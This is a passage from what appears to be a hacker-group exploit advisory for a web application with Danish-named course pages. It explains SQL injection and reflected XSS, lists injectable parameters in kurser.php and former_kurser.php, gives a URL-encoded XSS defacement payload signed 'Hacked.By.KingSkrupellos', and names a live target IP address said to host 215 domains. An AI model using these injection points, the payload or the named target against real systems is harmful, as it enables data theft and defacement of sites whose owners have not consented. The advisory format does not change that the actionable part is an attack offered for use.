Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser or with any SQL Injector Tool. Reflected XSS (or Non-Persistent) : *************************************** The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim,the content is executed by the victim's browser. ################################################################### # SQL Injection Exploit : ********************** /kurser.php?kursus_id=[SQL Injection] /former_kurser.php?id=[SQL Injection] # Cross Site Scripting XSS Exploit : ******************************** /kurser.php?kursus_id=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size= 32%3EHacked.By.KingSkrupellos.%3C/font%3E%3C/marquee%3E ################################################################### # Example Vulnerable Sites : ************************* Target IP Address => (185.21.40.251) => There are 215 domains hosted on this server.
